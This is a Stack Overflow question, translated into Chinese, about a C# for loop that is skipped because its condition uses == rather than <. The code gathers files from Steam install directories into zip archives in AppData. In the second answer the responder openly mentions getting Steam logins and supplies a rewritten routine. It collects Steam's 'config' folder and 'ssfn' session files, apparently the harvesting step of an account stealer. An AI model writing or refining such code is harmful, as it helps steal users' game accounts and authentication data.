【问题标题】:for loop not working using Count()使用 Count() for 循环不起作用
【发布时间】:2015-03-10 10:26:03
【问题描述】:

我创建了一个程序,用于复制 zip 存档中的目录和一些文件。

所以当我启动程序时,没有存档。 我试图放置一个断点,它显示 for 循环正在跳过。为什么?

for (int i = 0; i == steamPath.Count(s => s != null); i++)
{
    string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
    ZipFile zip = new ZipFile();
    zip.AddFile(Path.Combine(path[i], "folder"));
    foreach (string f in Directory.GetFiles(path[i]))
    {
        string fileName = Path.GetFileName(f);
        if(fileName.StartsWith("name"))
        {
            zip.AddFile(Path.Combine(path[i], fileName));
        }
    }
    zip.Save(Path.Combine(appData, "File[" + i + "].zip"));
}

【问题讨论】:

  • i == ... 似乎不太可能出现...
  • 我建议使用foreach 作为外部循环,这样您实际上可以利用您尝试跳过空路径的事实。就目前而言,任何空路径都有一个很好的变化,会给你带来问题,你的循环仍然会根据它们出现的顺序尝试访问它们
  • 如果您不再喜欢您的问题,请不要丢弃它。只需接受答案并继续。

标签: c# for-loop


【解决方案1】:

因为如果计数大于0i == steamPath.Count(s => s != null) 将永远不会导致true...因此,循环将中断。

试试这个:

i < steamPath.Count(s => s != null)

for 循环运行只要条件是true,而不是直到它是true

另一种选择是使用foreach

foreach (var path in steamPath.Where(s => s != null)))
{ }

【讨论】:

    【解决方案2】:

    如果您想获得 Steam 登录,有一些更简单的方法可以做到这一点,这就是我要说的。 /id/avvulous

    我建议在您运行循环之前从您的 steamPath 数组中过滤出“null”,然后您可以使用“foreach”循环来代替,让您的工作更轻松,它们是两个独立的工作,而您没有正确组合它们。

                List<string> steamPathsNoNull = new List<string>();
    
                foreach (string s in steamPaths)
                {
                    if (s != null)
                    {
                        steamPathsNoNull.Add(s);
                    }
                }
    
                int i = 0;
    
                foreach (string s in steamPathsNoNull)
                {
                    string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                    ZipFile zip = new ZipFile();
                    zip.AddFile(Path.Combine(s, "config"));
                    foreach (string f in Directory.GetFiles(s))
                    {
                        string fileName = Path.GetFileName(f);
                        if (fileName.StartsWith("ssfn"))
                        {
                            zip.AddFile(Path.Combine(s, fileName));
                        }
                    }
    
                    zip.Save(Path.Combine(appData, "Steam[" + i + "].zip"));
    
                    i++;
                }
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2017-04-13
      • 2013-12-31
      • 2018-04-22
      • 2016-05-13
      • 2018-09-09
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多